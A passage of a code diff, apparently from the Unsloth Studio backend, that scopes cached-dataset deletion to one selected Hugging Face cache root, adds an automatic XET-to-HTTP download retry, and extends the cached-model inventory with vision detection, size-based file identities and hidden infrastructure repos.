+    roots = {r.resolve(strict = False) for r in _hf_datasets_cache_roots()}
+    return resolved.parent.resolve(strict = False) in roots
+
+
 def _processed_dataset_cache_size(path: Path) -> int:
     total = 0
     try:
@@ -361,7 +345,7 @@ async def list_cached_datasets_response() -> dict:
         ) from exc
 
 
-async def delete_cached_dataset_response(repo_id: str) -> dict:
+async def delete_cached_dataset_response(repo_id: str, cache_path: Optional[str] = None) -> dict:
     """Remove a cached dataset repo from the HF cache."""
     if not _is_valid_repo_id(repo_id):
         raise HTTPException(status_code = 400, detail = "Invalid repo_id format")
@@ -373,22 +357,40 @@ async def delete_cached_dataset_response(repo_id: str) -> dict:
             detail = "Cancel the active download before deleting.",
         )
     try:
-        return await asyncio.to_thread(_delete_cached_dataset_blocking, repo_key)
+        return await asyncio.to_thread(_delete_cached_dataset_blocking, repo_key, cache_path)
     finally:
         downloads.registry.end_delete(repo_key)
         hf_cache_scan.invalidate_hf_cache_scans()
 
 
-def _delete_cached_dataset_blocking(repo_id: str) -> dict:
+def _delete_cached_dataset_blocking(repo_id: str, cache_path: Optional[str] = None) -> dict:
     scans, _seen_roots = _collect_hf_cache_scans()
 
-    candidate_entries = []
+    # Group this dataset's copies by owning cache root, then target exactly one
+    # cache so a delete never removes copies in other, previously selected caches.
+    owners: dict = {}
     for hf_cache in scans:
         for repo_info in hf_cache.repos:
             if str(repo_info.repo_type) != "dataset":
                 continue
-            if repo_info.repo_id.lower() == repo_id.lower():
-                candidate_entries.append((hf_cache, repo_info))
+            if repo_info.repo_id.lower() != repo_id.lower():
+                continue
+            try:
+                owner = Path(repo_info.repo_path).parent.resolve(strict = False)
+            except (OSError, RuntimeError, ValueError):
+                continue
+            owners.setdefault(owner, []).append((hf_cache, repo_info))
+
+    target_root = resolve_delete_target_root("dataset", repo_id, cache_path, owners.keys())
+    # A processed-only dataset row sends its Arrow cache path (<owner>___<repo>
+    # under HF_DATASETS_CACHE), which is not a Hub datasets-- dir, so
+    # resolve_delete_target_root returns None. Accept it and fall through to the
+    # processed-cache delete rather than rejecting a legitimate row.
+    if target_root is None and not (
+        cache_path and _is_processed_dataset_cache_path(repo_id, cache_path)
+    ):
+        raise HTTPException(status_code = 400, detail = "Invalid cache_path")
+    candidate_entries = owners.get(target_root, []) if target_root is not None else []
     matched_repo_ids = resolve_destructive_repo_ids(
         repo_id,
         [str(repo_info.repo_id) for _hf_cache, repo_info in candidate_entries],
@@ -414,7 +416,26 @@ def _delete_cached_dataset_blocking(repo_id: str) -> dict:
                 exc_info = True,
             )
 
-    processed_deleted, processed_failures = _delete_processed_dataset_cache(repo_id)
+    # Restrict the processed Arrow-cache delete to the selected cache's datasets
+    # root so it never removes copies under other cache homes. A processed
+    # cache_path scopes to its own root; a Hub target scopes to the datasets root
+    # sharing its cache home; an unspecified cache_path stays global (legacy).
+    processed_roots: Optional[set[Path]]
+    if not cache_path:
+        processed_roots = None
+    elif _is_processed_dataset_cache_path(repo_id, cache_path):
+        processed_roots = {Path(cache_path).expanduser().resolve(strict = False).parent}
+    else:
+        home = target_root.parent if target_root is not None else None
+        processed_roots = {
+            root.resolve(strict = False)
+            for root in _hf_datasets_cache_roots()
+            if home is not None and root.resolve(strict = False).parent == home
+        }
+
+    processed_deleted, processed_failures = _delete_processed_dataset_cache(
+        repo_id, only_roots = processed_roots
+    )
     failures.extend(processed_failures)
     if failures:
         raise HTTPException(
@@ -427,15 +448,23 @@ def _delete_cached_dataset_blocking(repo_id: str) -> dict:
 
     # ``scan_cache_dir()`` skips blob-only/corrupt repos the revision delete
     # can't touch, yet the fallback scanner shows them; purge the whole dir.
-    cache_purged = purge_repo_cache_dirs("dataset", repo_id)
-    partial_purged = purge_partial_repo("dataset", repo_id)
-    state_purged = download_manifest.purge_all_state_for_repo("dataset", repo_id) > 0
+    # Only for a Hub cache target; a processed-only path has no Hub dir/state.
+    cache_purged = partial_purged = state_purged = False
+    if target_root is not None:
+        cache_purged = purge_repo_cache_dirs("dataset", repo_id, root = target_root)
+        partial_purged = purge_partial_repo("dataset", repo_id, root = target_root)
+        state_purged = (
+            download_manifest.purge_all_state_for_repo("dataset", repo_id, hub_cache = target_root)
+            > 0
+        )
     if not (deleted or processed_deleted or cache_purged or partial_purged or state_purged):
         raise HTTPException(status_code = 404, detail = "Dataset not found in cache")
     return {"status": "deleted", "repo_id": repo_id}
 
 
-def _delete_processed_dataset_cache(repo_id: str) -> tuple[bool, list[str]]:
+def _delete_processed_dataset_cache(
+    repo_id: str, only_roots: Optional[set[Path]] = None
+) -> tuple[bool, list[str]]:
     import shutil
 
     target = repo_id.replace("/", "___")
@@ -443,6 +472,10 @@ def _delete_processed_dataset_cache(repo_id: str) -> tuple[bool, list[str]]:
     deleted = False
     failures: list[str] = []
     for root in _hf_datasets_cache_roots():
+        # Scope to the selected cache's datasets root(s): a delete must not remove
+        # processed copies living under other, previously selected cache homes.
+        if only_roots is not None and root.resolve(strict = False) not in only_roots:
+            continue
         try:
             entries = [
                 entry
diff --git a/studio/backend/hub/services/datasets/downloads.py b/studio/backend/hub/services/datasets/downloads.py
index 5efac562fa..b412a339e9 100644
--- a/studio/backend/hub/services/datasets/downloads.py
+++ b/studio/backend/hub/services/datasets/downloads.py
@@ -159,12 +159,18 @@ async def download_dataset_response(
 
     use_xet = download_lifecycle.resolve_effective_use_xet(body.use_xet)
     transport = download_lifecycle.resolve_transport(use_xet)
+    from utils.hf_cache_settings import get_hf_cache_paths
+
+    cache_paths = get_hf_cache_paths()
+    cache_env = cache_paths.child_env({})
 
     claimed, claim_state = _registry.claim(
         key,
         transport,
         repo_type = "dataset",
         repo_id = repo_id,
+        hub_cache = str(cache_paths.hub_cache),
+        xet_cache = str(cache_paths.xet_cache),
     )
     generation = _registry.current_generation(key)
     if not claimed:
@@ -176,7 +182,12 @@ async def download_dataset_response(
             "accepted": _registry.adoptable(key),
             "generation": generation,
         }
-    download_manifest.clear_cancel_marker("dataset", repo_id, None)
+    download_manifest.clear_cancel_marker(
+        "dataset",
+        repo_id,
+        None,
+        hub_cache = cache_paths.hub_cache,
+    )
 
     state = download_lifecycle.launch_worker(
         _registry,
@@ -185,6 +196,7 @@ async def download_dataset_response(
             ["--repo-id", repo_id, "--dataset"],
             hf_token,
             use_xet = use_xet,
+            cache_env = cache_env,
         ),
         hf_token = hf_token,
         label = repo_id,
diff --git a/studio/backend/hub/services/download_lifecycle.py b/studio/backend/hub/services/download_lifecycle.py
index 44c39337fb..8e14427a56 100644
--- a/studio/backend/hub/services/download_lifecycle.py
+++ b/studio/backend/hub/services/download_lifecycle.py
@@ -8,9 +8,10 @@ import os
 import signal
 import subprocess
 import sys
+import time
 import threading
 from pathlib import Path
-from typing import Callable, Optional
+from typing import Callable, Mapping, Optional
 
 from fastapi import HTTPException
 
@@ -56,6 +57,7 @@ def spawn_worker(
     *,
     use_xet: bool,
     protected_blob_hashes: Optional[frozenset[str]] = None,
+    cache_env: Optional[Mapping[str, str]] = None,
 ) -> subprocess.Popen:
     """Spawn the download worker.
 
@@ -67,7 +69,11 @@ def spawn_worker(
     """
     cwd = backend_dir()
     mode = download_registry.TRANSPORT_XET if use_xet else download_registry.TRANSPORT_HTTP
-    env = os.environ.copy()
+    from utils.hf_cache_settings import get_hf_cache_paths
+
+    env = get_hf_cache_paths().child_env()
+    if cache_env is not None:
+        env.update(cache_env)
     if protected_blob_hashes:
         env["UNSLOTH_PROTECTED_BLOB_HASHES"] = ",".join(sorted(protected_blob_hashes))
     else:
@@ -75,6 +81,10 @@ def spawn_worker(
     env["HF_HUB_DISABLE_PROGRESS_BARS"] = "1"
     env["HF_HUB_DISABLE_TELEMETRY"] = "1"
     env["HF_HUB_DISABLE_XET"] = "0" if use_xet else "1"
+    # No token in Unsloth settings: fall back to the backend's own HF_TOKEN so
+    # private repos stay downloadable (needed while inkling repos are private).
+    if not hf_token:
+        hf_token = os.environ.get("HF_TOKEN") or None
     env["HF_HUB_DISABLE_IMPLICIT_TOKEN"] = "0" if hf_token else "1"
     # hf_transfer's parallel Range chunks can leave sparse partials even in
     # "http" mode; disable so the worker's writer is always sequential.
@@ -206,7 +216,9 @@ def finalize_worker_exit(
     repo_type: Optional[RepoType] = None,
     repo_id: Optional[str] = None,
     transport: Optional[str] = None,
-) -> None:
+    cancel_marker_transport: Optional[str] = None,
+    defer_error: bool = False,
+) -> str:
     """Block until *proc* exits, then record the job's terminal state in
     *registry*. Drains and scrubs stderr first, then classifies the exit code.
     A no-op when the process was already dropped (e.g. superseded).
@@ -218,14 +230,17 @@ def finalize_worker_exit(
     rc = proc.wait()
     cancel_requested = registry.cancel_requested(key)
     if not registry.drop_process(key, proc):
-        return
+        return "idle"
     stderr_text = download_registry.scrub_secrets(
         (stderr_data or b"").decode("utf-8", "replace").strip(),
         hf_token = hf_token,
     )
+    metadata = registry.get_job_metadata(key)
     state = classify_exit(rc, cancel_requested = cancel_requested)
     if state == "complete":
         registry.set_job(key, "complete")
+        if transport == download_registry.TRANSPORT_HTTP:
+            registry.update_job_transport(key, download_registry.TRANSPORT_HTTP)
         if stderr_text:
             if download_manifest.MANIFEST_DEGRADED_MARKER in stderr_text:
                 logger.warning(
@@ -243,13 +258,13 @@ def finalize_worker_exit(
                     repo_type,
                     repo_id,
                     download_registry.variant_from_key(key),
+                    hub_cache = metadata.hub_cache if metadata is not None else None,
                 )
             except Exception as exc:
                 logger.debug(f"clear_cancel_marker failed for {repo_id} (rc=0): {exc}")
     elif state == "cancelled":
         # Read metadata before the terminal set_job so a concurrent eviction
         # can't drop it; the job key is the fallback variant label.
-        metadata = registry.get_job_metadata(key)
         registry.set_job(key, "cancelled")
         logger.info(f"{log_prefix} cancelled: {label} (rc={rc})")
         download_registry.persist_cancel_marker(
@@ -258,18 +273,244 @@ def finalize_worker_exit(
             metadata.variant
             if metadata is not None and metadata.variant
             else download_registry.variant_from_key(key),
-            transport,
+            cancel_marker_transport or transport,
+            hub_cache = metadata.hub_cache if metadata is not None else None,
             logger = logger,
         )
     else:
-        registry.set_job(
-            key,
-            "error",
-            stderr_text or f"worker exited with code {rc}",
-        )
+        if not defer_error:
+            registry.set_job(
+                key,
+                "error",
+                stderr_text or f"worker exited with code {rc}",
+            )
         logger.error(
             f"{log_prefix} failed for {label} (rc={rc}): {stderr_text}",
         )
+    return state
+
+
+def _set_retry_failure_state(
+    registry: download_registry.DownloadRegistry,
+    key: str,
+    error: str,
+    *,
+    repo_type: RepoType,
+    repo_id: str,
+    fallback_variant: Optional[str],
+    fallback_transport: Optional[str],
+    logger,
+) -> str:
+    state, metadata = registry.set_error_unless_cancelled(key, error)
+    if state == "cancelled":
+        download_registry.persist_cancel_marker(
+            repo_type,
+            repo_id,
+            metadata.variant if metadata is not None and metadata.variant else fallback_variant,
+            metadata.transport
+            if metadata is not None and metadata.transport
+            else fallback_transport,
+            hub_cache = metadata.hub_cache if metadata is not None else None,
+            logger = logger,
+        )
+    return state
+
+
+def _try_http_retry(
+    registry: download_registry.DownloadRegistry,
+    key: str,
+    *,
+    hf_token: Optional[str],
+    label: str,
+    log_prefix: str,
+    logger,
+    repo_type: RepoType,
+    repo_id: str,
+    watch_name: str,
+) -> bool:
+    """Reclaim *key* with HTTP transport and spawn a recovery worker.
+
+    Returns ``True`` when the HTTP worker was successfully registered.
+    Caller is responsible for ensuring this is only called when: the job is
+    in ``"error"`` state, the original transport was XET, and HTTP is available.
+
+    Derives variant and blob-hash metadata from the registry entry written by
+    the original XET claim so callers do not re-construct worker arguments.
+    Re-queries peer protection hashes at spawn time to reflect any concurrent
+    sibling changes between the XET failure and this call.
+    """
+    original_metadata = registry.get_job_metadata(key)
+    if original_metadata is None:
+        logger.debug("%s XET retry skipped for %s; metadata unavailable", log_prefix, label)
+        _set_retry_failure_state(
+            registry,
+            key,
+            "XET retry skipped: metadata unavailable",
+            repo_type = repo_type,
+            repo_id = repo_id,
+            fallback_variant = download_registry.variant_from_key(key),
+            fallback_transport = download_registry.TRANSPORT_XET,
+            logger = logger,
+        )
+        return False
+    if original_metadata.transport != download_registry.TRANSPORT_XET:
+        logger.debug(
+            "%s XET retry skipped for %s; original transport was %s",
+            log_prefix,
+            label,
+            original_metadata.transport,
+        )
+        _set_retry_failure_state(
+            registry,
+            key,
+            f"XET retry skipped: original transport was {original_metadata.transport}",
+            repo_type = repo_type,
+            repo_id = repo_id,
+            fallback_variant = original_metadata.variant,
+            fallback_transport = original_metadata.transport,
+            logger = logger,
+        )
+        return False
+    variant = original_metadata.variant
+    blob_hashes = original_metadata.blob_hashes
+    progress_blob_hashes = original_metadata.progress_blob_hashes
+    completed_baseline_bytes = (
+        download_registry.completed_blob_bytes(
+            repo_type,
+            repo_id,
+            progress_blob_hashes,
+            root = Path(original_metadata.hub_cache) if original_metadata.hub_cache else None,
+        )
+        if progress_blob_hashes
+        else 0
+    )
+    generation = registry.current_generation(key)
+    registry.release_active_slot(key)
+    while True:
+        if registry.cancel_requested(key):
+            _set_retry_failure_state(
+                registry,
+                key,
+                "HTTP retry cancelled before reclaiming the download slot",
+                repo_type = repo_type,
+                repo_id = repo_id,
+                fallback_variant = variant,
+                fallback_transport = original_metadata.transport,
+                logger = logger,
+            )
+            return False
+
+        claimed, conflict_state = registry.claim(
+            key,
+            download_registry.TRANSPORT_HTTP,
+            repo_type = repo_type,
+            repo_id = repo_id,
+            variant = variant,
+            blob_hashes = blob_hashes,
+            progress_blob_hashes = progress_blob_hashes,
+            completed_baseline_bytes = completed_baseline_bytes,
+            generation = generation,
+            replace_active = True,
+            cancel_marker_transport = original_metadata.transport,
+            hub_cache = original_metadata.hub_cache,
+            xet_cache = original_metadata.xet_cache,
+        )
+        if claimed:
+            break
+        if conflict_state == "deleting":
+            logger.debug(
+                "%s XET retry claim rejected for %s; repo is being deleted",
+                log_prefix,
+                label,
+            )
+            _set_retry_failure_state(
+                registry,
+                key,
+                "HTTP retry could not reclaim the download slot",
+                repo_type = repo_type,
+                repo_id = repo_id,
+                fallback_variant = variant,
+                fallback_transport = original_metadata.transport,
+                logger = logger,
+            )
+            return False
+        logger.debug(
+            "%s XET retry claim blocked for %s by active sibling state %s; waiting",
+            log_prefix,
+            label,
+            conflict_state,
+        )
+        time.sleep(0.05)
+
+    args: list[str] = ["--repo-id", repo_id]
+    if repo_type == "dataset":
+        args.append("--dataset")
+    elif variant:
+        args.extend(["--variant", variant])
+
+    # Re-query at spawn time: sibling state may have changed since XET failed.
+    peer_hashes = registry.peer_blob_hashes(key) if variant else frozenset()
+
+    logger.warning(
+        "%s XET worker failed for %s; retrying over HTTP",
+        log_prefix,
+        label,
+    )
+    try:
+        cache_env = (
+            {
+                "HF_HUB_CACHE": original_metadata.hub_cache,
+                "HF_XET_CACHE": original_metadata.xet_cache,
+            }
+            if original_metadata.hub_cache and original_metadata.xet_cache
+            else None
+        )
+        spawn_kwargs = {
+            "use_xet": False,
+            "protected_blob_hashes": peer_hashes or None,
+        }
+        if cache_env is not None:
+            spawn_kwargs["cache_env"] = cache_env
+        proc = spawn_worker(
+            args,
+            hf_token,
+            **spawn_kwargs,
+        )
+    except Exception as exc:
+        scrubbed = download_registry.scrub_secrets(str(exc), hf_token = hf_token)
+        logger.error(
+            "%s HTTP retry spawn failed for %s: %s",
+            log_prefix,
+            label,
+            scrubbed,
+        )
+        registry.update_job_transport(key, original_metadata.transport)
+        _set_retry_failure_state(
+            registry,
+            key,
+            scrubbed,
+            repo_type = repo_type,
+            repo_id = repo_id,
+            fallback_variant = variant,
+            fallback_transport = original_metadata.transport,
+            logger = logger,
+        )
+        return False
+
+    return register_worker(
+        registry,
+        key,
+        proc,
+        hf_token = hf_token,
+        label = label,
+        log_prefix = log_prefix,
+        logger = logger,
+        repo_type = repo_type,
+        repo_id = repo_id,
+        transport = download_registry.TRANSPORT_HTTP,
+        cancel_marker_transport = original_metadata.transport,
+        watch_name = watch_name,
+    )
 
 
 def kill_and_reap_process(
@@ -305,6 +546,7 @@ def register_worker(
     repo_type: RepoType,
     repo_id: str,
     transport: str,
+    cancel_marker_transport: Optional[str] = None,
     watch_name: str,
 ) -> bool:
     if not registry.register_process(key, proc):
@@ -315,7 +557,14 @@ def register_worker(
 
     def _watch() -> None:
         try:
-            finalize_worker_exit(
+            can_retry_http = (
+                transport == download_registry.TRANSPORT_XET
+                and download_registry.download_transport_unavailable_reason(
+                    download_registry.TRANSPORT_HTTP
+                )
+                is None
+            )
+            state = finalize_worker_exit(
                 registry,
                 key,
                 proc,
@@ -326,7 +575,25 @@ def register_worker(
                 repo_type = repo_type,
                 repo_id = repo_id,
                 transport = transport,
+                cancel_marker_transport = cancel_marker_transport,
+                defer_error = can_retry_http,
             )
+            # XET-to-HTTP recovery: when a non-cancelled XET worker fails and
+            # HTTP is available, attempt one automatic retry over HTTP.  The
+            # transport check is the recursion guard: an HTTP worker that errors
+            # never satisfies `transport == TRANSPORT_XET`, so it stays terminal.
+            if can_retry_http and state == "error":
+                _try_http_retry(
+                    registry,
+                    key,
+                    hf_token = worker_token,
+                    label = label,
+                    log_prefix = log_prefix,
+                    logger = logger,
+                    repo_type = repo_type,
+                    repo_id = repo_id,
+                    watch_name = watch_name,
+                )
         except Exception:
             # finalize_worker_exit is the only thing that clears running/cancelling;
             # if it raises, force a terminal state so claim() isn't blocked until restart.
@@ -422,8 +689,19 @@ def cancel_worker(
             return "cancelling"
         return registry.get_job(key).state
     # Worker already exited; let its watcher classify the real return code.
-    # Arming a pending cancel here could mislabel a genuine failure as a cancel.
     if proc.poll() is not None:
+        get_metadata = getattr(registry, "get_job_metadata", None)
+        metadata = get_metadata(key) if get_metadata is not None else None
+        can_retry_http = (
+            metadata is not None
+            and metadata.transport == download_registry.TRANSPORT_XET
+            and download_registry.download_transport_unavailable_reason(
+                download_registry.TRANSPORT_HTTP
+            )
+            is None
+        )
+        if can_retry_http and registry.mark_pending_cancel(key, generation):
+            return "cancelling"
         return registry.get_job(key).state
 
     if not registry.request_cancel(key, proc, generation):
diff --git a/studio/backend/hub/services/models/cache_inventory.py b/studio/backend/hub/services/models/cache_inventory.py
index a27e4860e6..807ec70991 100644
--- a/studio/backend/hub/services/models/cache_inventory.py
+++ b/studio/backend/hub/services/models/cache_inventory.py
@@ -31,12 +31,19 @@ from hub.services.models.common import (
     _is_checkpoint_weight_name,
     _is_gguf_filename,
     _is_main_gguf_filename,
+    _is_mmproj_filename,
     _is_transformers_safetensors_weight_name,
     _local_inventory_id,
-    _prefer_complete_larger,
     _runtime_for_format,
 )
 
+# Imported at module scope (not inside the per-repo scan loop) so a broken
+# import surfaces at startup instead of silently emptying the inventory: the
+# scan loop swallows per-repo exceptions and would drop every repo. Lives under
+# ``utils`` (not ``utils.models``) to avoid the eager model-config/checkpoint
+# imports in ``utils/models/__init__.py``.
+from utils.hidden_models import is_hidden_model
+
 logger = get_logger(__name__)
 
 _repo_size_cache: "OrderedDict[tuple[str, str, str], tuple[int, frozenset[str], float]]" = (
@@ -49,6 +56,10 @@ _REPO_SIZE_NEG_TTL = 60.0
 _MODEL_METADATA_TIMEOUT_SECONDS = 5.0
 _repo_size_cache_lock = threading.Lock()
 
+# Identity for a cached file with no HF blob (Windows without Developer Mode: hf
+# moves the blob into snapshots/ and leaves blobs/ empty).
+_LOCAL_SIZE_IDENTITY_PREFIX = "size:"
+
 
 def get_repo_snapshot_metadata_cached(
     repo_id: str, hf_token: Optional[str] = None
@@ -121,6 +132,39 @@ def _repo_has_gguf_files(repo_info) -> bool:
     return _repo_gguf_size_bytes(repo_info) > 0
 
 
+def _blob_mtime(file_obj) -> float:
+    ts = getattr(file_obj, "blob_last_modified", None)
+    if isinstance(ts, (int, float)) and ts > 0:
+        return float(ts)
+    blob_path = getattr(file_obj, "blob_path", None)
+    if blob_path:
+        try:
+            return float(Path(blob_path).stat().st_mtime)
+        except OSError:
+            pass
+    return 0.0
+
+
+def _repo_gguf_last_modified(repo_info) -> float:
+    latest = 0.0
+    for revision in repo_info.revisions:
+        for f in revision.files:
+            if _is_main_gguf_filename(f.file_name):
+                latest = max(latest, _blob_mtime(f))
+    return latest
+
+
+def _repo_has_mmproj(repo_info) -> bool:
+    # An mmproj file only makes a repo vision-capable when it is an actual GGUF
+    # projector; a non-GGUF sidecar (e.g. mmproj_config.json) does not, and the
+    # runtime's projector detection is GGUF-only.
+    return any(
+        _is_gguf_filename(f.file_name) and _is_mmproj_filename(f.file_name)
+        for revision in repo_info.revisions
+        for f in revision.files
+    )
+
+
 def _cached_repo_file_name(file_obj) -> str:
     file_path = getattr(file_obj, "file_path", None)
     if file_path:
@@ -135,23 +179,52 @@ def _cached_repo_file_name(file_obj) -> str:
     return str(getattr(file_obj, "file_name", "")).replace("\\", "/")
 
 
+def _is_real_cache_blob(blob: Optional[Path], repo_dir: Optional[Path]) -> bool:
+    """True only for a real cache blob at ``<repo_dir>/blobs/<etag>``.
+
+    A no-symlink ``snapshots/`` file (name is the filename, not an etag) or a
+    repo's own ``blobs/`` subdir is not the cache blob store.
+    """
+    if blob is None or repo_dir is None:
+        return False
+    try:
+        return blob.parent.resolve(strict = False) == (repo_dir / "blobs").resolve(strict = False)
+    except OSError:
+        return False
+
+
+def _cached_blob_hash(blob_path, repo_path = None) -> Optional[str]:
+    """The cache blob hash (etag) for a cached file, or None when there is no blob.
+
+    Only a real blob under the repo's ``blobs/`` dir has name == hash; a moved
+    no-symlink ``snapshots/`` file is "no blob", so the caller uses a size identity.
+    """
+    path = Path(blob_path)
+    repo_dir = Path(repo_path) if repo_path is not None else None
+    return path.name if _is_real_cache_blob(path, repo_dir) else None
+
+
+def local_size_identity(size: int) -> str:
+    """Identity for a cached file whose blob hash is unknowable: its size.
+
+    Re-hashing multi-GB GGUFs on the inventory hot path is not viable, and a
+    ``size:`` token never collides with a hex hash.
+    """
+    return f"{_LOCAL_SIZE_IDENTITY_PREFIX}{int(size)}"
+
+
 def _repo_gguf_blob_map(repo_info, *, include_companions: bool = False) -> dict[str, set[str]]:
     """Map each cached GGUF file's repo-relative name to the SET of its local
-    blob hashes across all cached revisions.
+    identities across all revisions.
 
-    HF names each local cache blob FILE by the file's etag (lfs.sha256 else
-    blob_id), so a local file's blob hash == ``Path(blob_path).name``. An updated
-    repo keeps BOTH the old and new revision snapshots until HF garbage-collects
-    them, so the same file resolves to several blobs; collecting them ALL (not
-    just the first one seen, since ``repo_info.revisions`` is a frozenset and
-    yields them in arbitrary order) lets the remote-vs-local diff treat the file
-    as current when the remote (``main``) blob is present in any cached revision.
-    Mirrors the ``cached_blob_ids`` membership test in routes/models.py.
-
-    By default this keeps the historical MAIN-GGUF-only behavior. GGUF update
-    checks opt into companions so a shared mmproj/MTP blob can be compared too.
+    An identity is the file's blob hash, or a size identity when the cache holds no
+    blob (Windows without Developer Mode). BOTH old and new revision blobs are kept
+    (a set), so the diff treats the file as current when the remote ``main`` blob is
+    in any cached revision. Main GGUF only by default; update checks opt into
+    companions to compare a shared mmproj/MTP blob too.
     """
     blob_map: dict[str, set[str]] = {}
+    repo_path = getattr(repo_info, "repo_path", None)
     for revision in repo_info.revisions:
         for f in revision.files:
             if include_companions:
@@ -163,31 +236,59 @@ def _repo_gguf_blob_map(repo_info, *, include_companions: bool = False) -> dict[
             if not blob_path:
                 continue
             name = _cached_repo_file_name(f)
-            blob_map.setdefault(name, set()).add(Path(blob_path).name)
+            identity = _cached_blob_hash(blob_path, repo_path)
+            if identity is None:
+                size = int(getattr(f, "size_on_disk", 0) or 0)
+                if size <= 0:
+                    continue
+                identity = local_size_identity(size)
+            blob_map.setdefault(name, set()).add(identity)
     return blob_map
 
 
 def _prefer_cache_row(candidate: dict, existing: Optional[dict]) -> bool:
     if existing is None:
         return True
-    return _prefer_complete_larger(
-        bool(candidate.get("partial")),
-        int(candidate.get("size_bytes") or 0),
-        bool(existing.get("partial")),
-        int(existing.get("size_bytes") or 0),
-    )
+    candidate_partial = bool(candidate.get("partial"))
+    existing_partial = bool(existing.get("partial"))
+    if candidate_partial != existing_partial:
+        return not candidate_partial
+    candidate_active = bool(candidate.get("active_cache"))
+    existing_active = bool(existing.get("active_cache"))
+    if candidate_active != existing_active:
+        return candidate_active
+    return int(candidate.get("size_bytes") or 0) > int(existing.get("size_bytes") or 0)
 
 
 def _cache_inventory_fields(
     repo_id: str,
     model_format: ModelFormat,
     *,
+    repo_path: Optional[Path] = None,
+    snapshot_path: Optional[Path] = None,
+    active_hub_cache: Optional[Path] = None,
     partial: bool = False,
     requires_variant: bool = False,
 ) -> dict:
+    load_id = repo_id
+    active_cache = True
+    if repo_path is not None:
+        try:
+            if active_hub_cache is None:
+                from utils.hf_cache_settings import get_hf_cache_paths
+                active_hub_cache = get_hf_cache_paths().hub_cache
+            active_root = active_hub_cache.resolve(strict = False)
+            cached_root = repo_path.parent.resolve(strict = False)
+            if cached_root != active_root:
+                active_cache = False
+                load_id = str(snapshot_path or repo_path.resolve(strict = False))
+        except (OSError, RuntimeError, ValueError):
+            active_cache = False
+            load_id = str(snapshot_path or repo_path)
     return {
         "inventory_id": _local_inventory_id("cache", model_format, repo_id),
-        "load_id": repo_id,
+        "load_id": load_id,
+        "active_cache": active_cache,
         "model_format": model_format,
         "runtime": _runtime_for_format(model_format),
         "format_variant": None,
@@ -204,9 +305,19 @@ def invalidate_hf_cache_scans() -> None:
     hf_cache_scan.invalidate_hf_cache_scans()
 
 
+def _is_hidden_infra_repo(*values: str | None) -> bool:
+    """True for infra-only repos (the RAG embedder and the llama.cpp install
+    validation probe) that are cached as a side effect of Studio itself and are
+    not usable chat models."""
+    return is_hidden_model(*values)
+
+
 def _scan_cached_gguf() -> list[dict]:
     """Synchronous HF-cache disk walk for GGUF repos; runs in a worker thread."""
     cache_scans = all_hf_cache_scans()
+    from utils.hf_cache_settings import get_hf_cache_paths
+
+    active_hub_cache = get_hf_cache_paths().hub_cache
 
     seen_lower: dict[str, dict] = {}
     for hf_cache in cache_scans:
@@ -215,18 +326,33 @@ def _scan_cached_gguf() -> list[dict]:
                 if str(repo_info.repo_type) != "model":
                     continue
                 repo_id = repo_info.repo_id
+                repo_path = Path(repo_info.repo_path)
+                snapshot_path = _cached_model_snapshot_path(repo_path)
                 total_size = _repo_gguf_size_bytes(repo_info)
-                has_variant_state, variant_state_size = _gguf_variant_state_summary(repo_id)
+                has_variant_state, variant_state_size = _gguf_variant_state_summary(
+                    repo_id,
+                    hub_cache = repo_path.parent,
+                )
+                is_hidden_infra = _is_hidden_infra_repo(
+                    repo_id,
+                    str(repo_path),
+                    str(snapshot_path) if snapshot_path is not None else None,
+                )
+                # Hide infra repos unless the user downloaded a variant via
+                # the Hub; variant state only exists for user downloads.
+                if is_hidden_infra and not has_variant_state:
+                    continue
                 if total_size == 0 and not has_variant_state:
                     continue
                 partial = hf_cache_scan.is_gguf_repo_partial(
                     repo_id,
-                    Path(repo_info.repo_path),
+                    repo_path,
                 )
                 if total_size == 0 and not partial:
                     continue
                 key = repo_id.lower()
                 existing = seen_lower.get(key)
+                last_modified = _repo_gguf_last_modified(repo_info)
                 row = {
                     "repo_id": repo_id,
                     "size_bytes": max(total_size, variant_state_size),
@@ -236,16 +362,34 @@ def _scan_cached_gguf() -> list[dict]:
                     # per-variant detail lives on GgufVariantDetail.
                     "partial_transport": None,
                 }
+                last_modified = max(last_modified, (existing or {}).get("last_modified", 0.0))
+                if last_modified > 0:
+                    row["last_modified"] = last_modified
                 row.update(
                     _cache_inventory_fields(
                         repo_id,
                         "gguf",
+                        repo_path = repo_path,
+                        snapshot_path = snapshot_path,
+                        active_hub_cache = active_hub_cache,
                         partial = bool(row["partial"]),
                         requires_variant = True,
                     )
                 )
+                if _repo_has_mmproj(repo_info):
+                    row["capabilities"]["supports_vision"] = True
+                # Visible infra variants remain management-only.
+                if is_hidden_infra:
+                    row["capabilities"]["can_chat"] = False
                 if _prefer_cache_row(row, existing):
+                    if existing and existing["capabilities"].get("supports_vision"):
+                        row["capabilities"]["supports_vision"] = True
                     seen_lower[key] = row
+                else:
+                    if last_modified > existing.get("last_modified", 0.0):
+                        existing["last_modified"] = last_modified
+                    if row["capabilities"].get("supports_vision"):
+                        existing["capabilities"]["supports_vision"] = True
             except Exception as e:
                 repo_label = getattr(repo_info, "repo_id", "<unknown>")
                 logger.warning(f"Skipping cached GGUF repo {repo_label}: {e}")
@@ -273,13 +417,14 @@ class _CachedNonGgufPayload(NamedTuple):
     size_bytes: int
     has_runnable_weights: bool
     model_format: ModelFormat
+    last_modified: float
 
 
 def _repo_non_gguf_model_payload(repo_info) -> _CachedNonGgufPayload:
-    all_weight_blobs: dict[str, int] = {}
-    adapter_blobs: dict[str, int] = {}
-    safetensors_blobs: dict[str, int] = {}
-    checkpoint_blobs: dict[str, int] = {}
+    all_weight_blobs: dict[str, tuple[int, float]] = {}
+    adapter_blobs: dict[str, tuple[int, float]] = {}
+    safetensors_blobs: dict[str, tuple[int, float]] = {}
+    checkpoint_blobs: dict[str, tuple[int, float]] = {}
     has_config = False
     has_adapter_config = False
     has_adapter_weights = False
@@ -287,12 +432,15 @@ def _repo_non_gguf_model_payload(repo_info) -> _CachedNonGgufPayload:
     has_transformers_safetensors = False
     has_checkpoint = False
 
-    def _record_blob(target: dict[str, int], file_obj, rev_id: str, file_name: str) -> None:
+    def _record_blob(
+        target: dict[str, tuple[int, float]], file_obj, rev_id: str, file_name: str
+    ) -> None:
         blob_path = getattr(file_obj, "blob_path", None)
         size = int(file_obj.size_on_disk or 0)
         key = str(blob_path) if blob_path else f"{rev_id}:{file_name}"
-        target[key] = size
-        all_weight_blobs[key] = size
+        value = (size, _blob_mtime(file_obj))
+        target[key] = value
+        all_weight_blobs[key] = value
 
     for revision in repo_info.revisions:
